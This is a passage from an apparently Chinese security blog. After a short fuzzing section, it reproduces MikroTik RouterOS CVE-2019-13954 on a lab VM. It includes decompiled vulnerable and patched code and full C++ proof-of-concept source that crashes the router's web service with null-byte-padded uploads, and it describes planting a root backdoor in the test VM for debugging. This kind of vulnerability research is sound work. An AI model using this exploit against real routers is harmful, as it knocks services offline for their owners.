<p><img src="https://tva1.sinaimg.cn/large/e6c9d24egy1h0081c4ux2j21c00u0gs5.jpg" alt="image-20220306151917157"></p>
<p>编译安装完之后可以发现在之前创建和制定的install目录下有了用AFL插桩生成的目标程序了</p>
<p><img src="https://tva1.sinaimg.cn/large/e6c9d24egy1h0081arcmrj20zk09k3z2.jpg" alt="telegram-cloud-photo-size-5-6131935855611326493-y"></p>
<p><code>strings file | grep "afl"</code>检查下是否插桩成功,字符串中有afl结合前面编译安装没有报错说明应该插桩成功了</p>
<p><img src="https://tva1.sinaimg.cn/large/e6c9d24egy1h0081cnef3j20lm0l4goi.jpg" alt="image-20220306153619409"></p>
<p>创建input、output文件夹,测试项目的tests文件下有输入文件,我们把它们转到input中当作种子,然后就可以用afl去fuzzing了</p>
<p><code>afl-fuzz -i input -o output -m none -t 500+ -- /home/re1own/Project/install/bin/file @@</code></p>
<p><img src="https://tva1.sinaimg.cn/large/e6c9d24egy1h0081d4vn0j21c00u07bt.jpg" alt="image-20220306155011256"></p>
<p>实验相关文件链接:<a href="https://github.com/Re1own/IoT_Sec/tree/main/Fuzz/openEuler/file-5.41">https://github.com/Re1own/IoT_Sec/tree/main/Fuzz/openEuler/file-5.41</a></p>
]]></content>
<tags>
<tag>fuzz</tag>
<tag>OpenEuler</tag>
</tags>
</entry>
<entry>
<title>MikroTik-CVE-2019-13954漏洞复现</title>
<url>/2021/09/30/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/</url>
<content><![CDATA[<h1 id="MikroTik-RouterOS-CVE-2019-13954漏洞复现"><a href="#MikroTik-RouterOS-CVE-2019-13954漏洞复现" class="headerlink" title="MikroTik RouterOS-CVE-2019-13954漏洞复现"></a>MikroTik RouterOS-CVE-2019-13954漏洞复现</h1><hr>
<h2 id="产品描述:"><a href="#产品描述:" class="headerlink" title="产品描述:"></a>产品描述:</h2><p><strong>MikroTik RouterOS</strong>是一种<strong>路由操作系统</strong>,并通过该软件将标准的PC电脑变成专业路由器,在软件的开发和应用上不断的更新和发展,软件经历了多次更新和改进,使其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的功能,其极高的性价比,受到许多网络人士的青睐。RouterOS在具备现有路由系统的大部分功能,能针对网吧、企业、小型ISP接入商、社区等网络设备的接入,基于标准的<strong>x86构架</strong>的PC。一台586PC机就可以实现路由功能,提高硬件性能同样也能提高网络的访问速度和吞吐量。完全是一套低成本,高性能的路由器系统。</p>
<h2 id="漏洞利用分析:"><a href="#漏洞利用分析:" class="headerlink" title="漏洞利用分析:"></a>漏洞利用分析:</h2><h3 id="漏洞描述:"><a href="#漏洞描述:" class="headerlink" title="漏洞描述:"></a>漏洞描述:</h3><p>根据CVE-2019-13954的漏洞公告中得知,认证的用户可以通过发送一个特殊的POST请求,服务器在处理此请求时会陷入死循环,造成内存耗尽,导致系统的服务瘫痪重启</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t015b57d9b0be67ff85.jpg" alt="https://re1own.github.io/assets/img"></p>
<h3 id="漏洞原理:"><a href="#漏洞原理:" class="headerlink" title="漏洞原理:"></a>漏洞原理:</h3><p>CVE-2019-13954的漏洞利用地方跟CVE-2018-1157的类似,都是同一个地方死循环</p>
<p>下面是<code>6.40.5</code>,<code>x86</code>架构的漏洞文件反汇编代码:从中不难看出,有两个重要的函数决定循环是否能跳出while的死循环,sub_5E9F()和Headers::parseHeaderLine解析后的返回值为非零(即解析失败),因此此处可以利用的点就这两个函数</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">JSProxyServlet::doUpload</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2, Headers *a3, Headers *a4)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">sub_5E9F</span>(v32, &s1);</span><br><span class="line"> <span class="keyword">if</span> ( !s1 )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> string::<span class="built_in">string</span>((string *)&v41, &s1);</span><br><span class="line"> v14 = Headers::<span class="built_in">parseHeaderLine</span>((Headers *)&v42, (<span class="keyword">const</span> string *)&v41);</span><br><span class="line"> string::<span class="built_in">freeptr</span>((string *)&v41);</span><br><span class="line"> <span class="keyword">if</span> ( !v14 ) </span><br><span class="line"> {</span><br><span class="line"> string::<span class="built_in">string</span>((string *)&v41, <span class="string">""</span>);</span><br><span class="line"> Response::<span class="built_in">sendError</span>(a4, <span class="number">400</span>, (<span class="keyword">const</span> string *)&v41);</span><br><span class="line"> string::<span class="built_in">freeptr</span>((string *)&v41);</span><br><span class="line">LABEL_56:</span><br><span class="line"> tree_base::<span class="built_in">clear</span>(v16, v15, &v42, map_node_destr<string,HeaderField>);</span><br><span class="line"> <span class="keyword">goto</span> LABEL_57;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>问题就出在sub_5E9F函数(读取post请求数据),在getline的时候,如果输入的字节数量大于</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="keyword">char</span> *__usercall sub_5E9F@<eax>(istream *a1@<eax>, <span class="keyword">char</span> *a2@<edx>)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">char</span> *v2; <span class="comment">// esi</span></span><br><span class="line"> <span class="keyword">char</span> *result; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// ecx</span></span><br><span class="line"></span><br><span class="line"> v2 = a2;</span><br><span class="line"> istream::<span class="built_in">getline</span>(a1, a2, <span class="number">256u</span>, <span class="string">'\n'</span>);</span><br><span class="line"> result = <span class="number">0</span>;</span><br><span class="line"> v4 = <span class="built_in">strlen</span>(v2) + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( v4 != <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> result = &v2[v4 - <span class="number">2</span>];</span><br><span class="line"> <span class="keyword">if</span> ( *result == <span class="number">13</span> )</span><br><span class="line"> *result = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>下面是<code>6.42.11</code>,<code>x86</code>架构打了补丁的JSProxyServlet::doUpload,加了一个长度判断是不是0x100个字节</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">JSProxyServlet::doUpload</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">int</span> a2, Headers *a3, Headers *a4)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">sub_51F7</span>(v37, &s1);</span><br><span class="line"> <span class="keyword">if</span> ( !s1 )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> v14 = <span class="number">-1</span>;</span><br><span class="line"> v15 = &s1;</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( !v14 )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> v16 = *v15++ == <span class="number">0</span>;</span><br><span class="line"> --v14;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ( !v16 );</span><br><span class="line"> <span class="keyword">if</span> ( v14 != <span class="number">0x100</span>u )</span><br><span class="line"> {</span><br><span class="line"> v36 = <span class="number">0</span>;</span><br><span class="line"> string::<span class="built_in">string</span>((string *)&v46, &s1);</span><br><span class="line"> v17 = Headers::<span class="built_in">parseHeaderLine</span>((Headers *)&v47, (<span class="keyword">const</span> string *)&v46);</span><br><span class="line"> string::<span class="built_in">freeptr</span>((string *)&v46);</span><br><span class="line"> <span class="keyword">if</span> ( v17 )</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> string::<span class="built_in">string</span>((string *)&v46, <span class="string">""</span>);</span><br><span class="line"> Response::<span class="built_in">sendError</span>(a4, <span class="number">400</span>, (<span class="keyword">const</span> string *)&v46);</span><br><span class="line"> string::<span class="built_in">freeptr</span>((string *)&v46);</span><br><span class="line">LABEL_60:</span><br><span class="line"> tree_base::<span class="built_in">clear</span>(v19, v18, &v47, map_node_destr<string,HeaderField>);</span><br><span class="line"> <span class="keyword">goto</span> LABEL_61;</span><br><span class="line"> }</span><br><span class="line"><span class="comment">//...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>相比<code>6.40.5</code>版本,6.42.11中sub_51F7的getline还是没有变</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="keyword">char</span> *__usercall sub_51F7@<eax>(istream *a1@<eax>, <span class="keyword">char</span> *a2@<edx>)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">char</span> *v2; <span class="comment">// esi</span></span><br><span class="line"> <span class="keyword">char</span> *result; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v4; <span class="comment">// ecx</span></span><br><span class="line"></span><br><span class="line"> v2 = a2;</span><br><span class="line"> istream::<span class="built_in">getline</span>(a1, a2, <span class="number">0x100</span>u, <span class="string">'\n'</span>);</span><br><span class="line"> result = <span class="number">0</span>;</span><br><span class="line"> v4 = <span class="built_in">strlen</span>(v2) + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( v4 != <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> result = &v2[v4 - <span class="number">2</span>];</span><br><span class="line"> <span class="keyword">if</span> ( *result == <span class="number">13</span> )</span><br><span class="line"> *result = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="POC原理:"><a href="#POC原理:" class="headerlink" title="POC原理:"></a>POC原理:</h3><p>利用getline原理</p>
<p>虽然6.42.11的版本中JSProxyServlet::doUpload加入了长度的判断,并且getline是按照\n(getline是按行读取)结束符前取前0x100个字节,但是可以通过构造很多\00来影响整个字符串的长度,getline只会将\n前的0x100个字符读入缓冲区,再会消化掉\n转化为\00,总之getline()会根据参数对输入产生截断,不考虑字符数组的存储空间,先将输入转换为<code>"xxxx\0"</code>的格式</p>
<p>当是cin.getline(a, 5)时,输入abcdef,输出是abcd</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t018dc91efd8b71d1c3.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>当是cin.getline(a, 6)时,输入abcdef,输出是abcde</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01e406d44a30871599.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>说明getline可能把空行\n转化为字符\0了,然后把\0算入所谓的长度5中了,不信,上汇编</p>
<p>测试代码:(长度改为了6)</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">char</span> a[<span class="number">5</span>];</span><br><span class="line"> cin.<span class="built_in">getline</span>(a, <span class="number">6</span>);</span><br><span class="line"> <span class="keyword">int</span> b = <span class="number">5</span>;</span><br><span class="line"> cout << <span class="string">"hello b = "</span> << b << <span class="string">" a = "</span> << a << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>输入abcdefghimn</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t018e0ef1515bbb3d28.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>查看内存发现,输入d额是abcdefghimn,数组的空间被依次赋值为a,b,c,d,e,可见getline把空行转化为了\0</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01394f1be521e157dd.jpg" alt="https://re1own.github.io/assets/img"></p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01876a874be35d2f05.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>POC:</p>
<p>因此post发送大量/0就可以改变数组长度啦</p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><cstdlib></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><boost/cstdint.hpp></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><boost/program_options.hpp></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"jsproxy_session.hpp"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"winbox_message.hpp"</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span></span><br><span class="line">{</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> s_version[] = <span class="string">"CVE-2019-13954 PoC 1.1.0"</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">bool</span> <span class="title">parseCommandLine</span><span class="params">(<span class="keyword">int</span> p_argCount, <span class="keyword">const</span> <span class="keyword">char</span>* p_argArray[],</span></span></span><br><span class="line"><span class="params"><span class="function"> std::string& p_username, std::string& p_password,</span></span></span><br><span class="line"><span class="params"><span class="function"> std::string& p_ip, std::string& p_port)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> boost::<span class="function">program_options::options_description <span class="title">description</span><span class="params">(<span class="string">"options"</span>)</span></span>;</span><br><span class="line"> description.<span class="built_in">add_options</span>()</span><br><span class="line"> (<span class="string">"help,h"</span>, <span class="string">"A list of command line options"</span>)</span><br><span class="line"> (<span class="string">"version,v"</span>, <span class="string">"Display version information"</span>)</span><br><span class="line"> (<span class="string">"username,u"</span>, boost::program_options::value<std::string>(), <span class="string">"The user to log in as"</span>)</span><br><span class="line"> (<span class="string">"password"</span>, boost::program_options::value<std::string>(), <span class="string">"The password to log in with"</span>)</span><br><span class="line"> (<span class="string">"port,p"</span>, boost::program_options::value<std::string>()-><span class="built_in">default_value</span>(<span class="string">"80"</span>), <span class="string">"The HTTP port to connect to"</span>)</span><br><span class="line"> (<span class="string">"ip,i"</span>, boost::program_options::value<std::string>(), <span class="string">"The IPv4 address to connect to"</span>);</span><br><span class="line"></span><br><span class="line"> boost::program_options::variables_map argv_map;</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> boost::program_options::<span class="built_in">store</span>(</span><br><span class="line"> boost::program_options::<span class="built_in">parse_command_line</span>(</span><br><span class="line"> p_argCount, p_argArray, description), argv_map);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in"><span class="keyword">catch</span></span> (<span class="keyword">const</span> std::exception& e)</span><br><span class="line"> {</span><br><span class="line"> std::cerr << e.<span class="built_in">what</span>() << <span class="string">"\n"</span> << std::endl;</span><br><span class="line"> std::cerr << description << std::endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> boost::program_options::<span class="built_in">notify</span>(argv_map);</span><br><span class="line"> <span class="keyword">if</span> (argv_map.<span class="built_in">empty</span>() || argv_map.<span class="built_in">count</span>(<span class="string">"help"</span>))</span><br><span class="line"> {</span><br><span class="line"> std::cerr << description << std::endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (argv_map.<span class="built_in">count</span>(<span class="string">"version"</span>))</span><br><span class="line"> {</span><br><span class="line"> std::cerr << <span class="string">"Version: "</span> << ::s_version << std::endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (argv_map.<span class="built_in">count</span>(<span class="string">"username"</span>) && argv_map.<span class="built_in">count</span>(<span class="string">"ip"</span>) &</span><br><span class="line"> argv_map.<span class="built_in">count</span>(<span class="string">"port"</span>))</span><br><span class="line"> {</span><br><span class="line"> p_username.<span class="built_in">assign</span>(argv_map[<span class="string">"username"</span>].as<std::string>());</span><br><span class="line"> p_ip.<span class="built_in">assign</span>(argv_map[<span class="string">"ip"</span>].as<std::string>());</span><br><span class="line"> p_port.<span class="built_in">assign</span>(argv_map[<span class="string">"port"</span>].as<std::string>());</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (argv_map.<span class="built_in">count</span>(<span class="string">"password"</span>))</span><br><span class="line"> {</span><br><span class="line"> p_password.<span class="built_in">assign</span>(argv_map[<span class="string">"password"</span>].as<std::string>());</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> p_password.<span class="built_in">assign</span>(<span class="string">""</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> std::cerr << description << std::endl;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> p_argc, <span class="keyword">const</span> <span class="keyword">char</span>** p_argv)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> std::string username;</span><br><span class="line"> std::string password;</span><br><span class="line"> std::string ip;</span><br><span class="line"> std::string port;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">parseCommandLine</span>(p_argc, p_argv, username, password, ip, port))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">return</span> EXIT_FAILURE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">JSProxySession <span class="title">jsSession</span><span class="params">(ip, port)</span></span>;</span><br><span class="line"> <span class="keyword">if</span> (!jsSession.<span class="built_in">connect</span>())</span><br><span class="line"> {</span><br><span class="line"> std::cerr << <span class="string">"Failed to connect to the remote host"</span> << std::endl;</span><br><span class="line"> <span class="keyword">return</span> EXIT_FAILURE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// generate the session key but don't log in</span></span><br><span class="line"> <span class="keyword">if</span> (!jsSession.<span class="built_in">negotiateEncryption</span>(username, password, <span class="literal">false</span>))</span><br><span class="line"> {</span><br><span class="line"> std::cerr << <span class="string">"Encryption negotiation failed."</span> << std::endl;</span><br><span class="line"> <span class="keyword">return</span> EXIT_FAILURE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> std::string filename;</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="number">0x50</span>; i++)</span><br><span class="line"> {</span><br><span class="line"> filename.<span class="built_in">push_back</span>(<span class="string">'A'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="number">0x100</span>; i++)</span><br><span class="line"> {</span><br><span class="line"> filename.<span class="built_in">push_back</span>(<span class="string">'\x00'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (jsSession.<span class="built_in">uploadFile</span>(filename, <span class="string">"lol."</span>))</span><br><span class="line"> {</span><br><span class="line"> std::cout << <span class="string">"success!"</span> << std::endl;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> EXIT_SUCCESS;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h3 id="漏洞验证"><a href="#漏洞验证" class="headerlink" title="漏洞验证"></a>漏洞验证</h3><p>gdb调试验证构造的特殊post可以使系统程序www陷入死循环</p>
<p>在调试验证的过程中注意Linux默认开启了ASLR保护机制,为了好找地址,关掉ASLR</p>
<p><code>sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"</code></p>
<p>通过后门busybox登陆routeros,查看www的进程pid后,开启gdbserver附加www</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01d86c3e729a6b15cc.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>开启gdb,准备调试,设置架构为i386,目标主机为192.168.0.113,端口为1234</p>
<p><code>set architecture i386</code></p>
<p><code>target remote 192.168.0.113:1234</code></p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c92873314b6cb2f4-4594631.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>同时本地运行POC,<code>info proc mappings</code>查看当前已经加载的模块,但是没发现有关jsproxy的模块</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c92873314b6cb2f4-4594631.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>对www模块进行断点,然后s几下便发现jsproxy.p出来了</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t0171c810c9416e991c-4594646.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>在ida中找到要断点的函数的偏移地址,从doUpload函数断点,偏移量为8D08</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t0171c810c9416e991c-4594646.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>将mappings中jsproxy的基地址加上偏移地址就ok了,对其断点</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01a4d56a1e67255a82.jpg" alt="https://re1own.github.io/assets/img"></p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t0114455b7ee697b22e.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>接下里我们可以通过对sub_51F7下断点,然后c几次,再取消断点运行看是否会使系统重启</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c688be038633deb3-4594711.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>Sub_51F7的地址为0x77540000+0x51F7,c几次会一直执行</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c688be038633deb3-4594711-4594719.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>将断点删除后,c一下,等待一会</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c688be038633deb3-4594711-4594719.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>发现系统重启了,成功验证该漏洞!</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t015062faaac0b688d5-4594736.jpg" alt="https://re1own.github.io/assets/img"></p>
<h2 id="漏洞环境搭建过程"><a href="#漏洞环境搭建过程" class="headerlink" title="漏洞环境搭建过程"></a>漏洞环境搭建过程</h2><h3 id="RouterOS环境搭建"><a href="#RouterOS环境搭建" class="headerlink" title="RouterOS环境搭建"></a>RouterOS环境搭建</h3><p>因为CVE-2019-13954跟CVE-2018-1157原理类似,可以顺便也了解下,可以选择同时下载两个版本,都验证一下</p>
<p>CVE-2018-1157可在系统版本6.40.5验证</p>
<p>CVE-2019-13954可在系统版本6.42.11验证</p>
<p>MikroTik RouterOS镜像下载地址:<a href="https://mikrotik.com/download">https://mikrotik.com/download</a></p>
<p>虚拟机安装镜像,按a,选择所有,然后i安装,后续都默认y就行</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t015062faaac0b688d5-4594736.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>用户名是admin,密码为空,下图说明成功安装</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01a06be6e5f4eb8f0e.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>把虚拟机改成桥接模式</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01d134f1d6b563ec85.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>虚拟机获取ip</p>
<p><code>ip dhcp-client add interface=ether disabled=no</code></p>
<p>查看虚拟机获取的ip</p>
<p><code>ip dhcp-client print detail</code></p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01690dd7d07c7b3f6a.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>测试是否能ping通,测试ok</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t012f677465873f447f-4594779.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>我们需要下载busybox(用于开root后门)、gdbserver.i686(远程调试)</p>
<p>busybox:<code>wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox</code></p>
<p><strong>busybox使静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload的劫持,能够正常操作文件。系统在执行程序的时候,会通过环境变量LD_PRELOAD和配置文件/etc/ld.so.preload进行预加载从而调用动态链接库,如果这两者被修改的话,那么系统程序在执行的时候,就会调用这两者被修改的内容。</strong></p>
<p>除了busybox,我们还可以通过<a href="https://github.com/tenable/routeros%E4%B8%8B%E7%9A%84**cleaner_wrasse**%E5%88%A9%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%BC%80%E5%90%AF%E5%90%8E%E9%97%A8">https://github.com/tenable/routeros下的**cleaner_wrasse**利用漏洞开启后门</a></p>
<p>gdbserver.i686下载地址:<a href="https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686">https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686</a></p>
<p>下载后,我们还需要一个LiveDVD的linux系统镜像,用来挂载RouterOS的文件系统,并上传和改写文件</p>
<p>CentOS-6.10-x86-64-LiveDVD下载地址:<a href="https://vault.centos.org/6.10/isos/x86_64/">https://vault.centos.org/6.10/isos/x86_64/</a></p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t012d05f0167b7dde43.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>在虚拟机设置CD/DVD驱动器为上面下载的CentOS的镜像</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t0140d954d3217659a7-20230520110319027.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>在启动磁盘这选择CD/DVD,并重新启动</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01c22dfbef6e1d618d-20230520110317028.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>如果启动非常慢,可以在虚拟机设置里,把CPU的核心和内存分配多点,这样运行快些</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t01e30b5723ff26aa78.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>如果可以看到有rw这个文件夹,说明挂载成功了</p>
<p><img src="https://re1own.github.io/assets/img/MikroTik-CVE-2019-13954%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/t012da868a801699a77.jpg" alt="https://re1own.github.io/assets/img"></p>
<p>进入rw文件夹,打开终端,进入root权限,如果disk是绿色的说明没有损坏,我有一次是红色的,如果也出现跟我类似的情况就重装一次RouterOS就行</p>
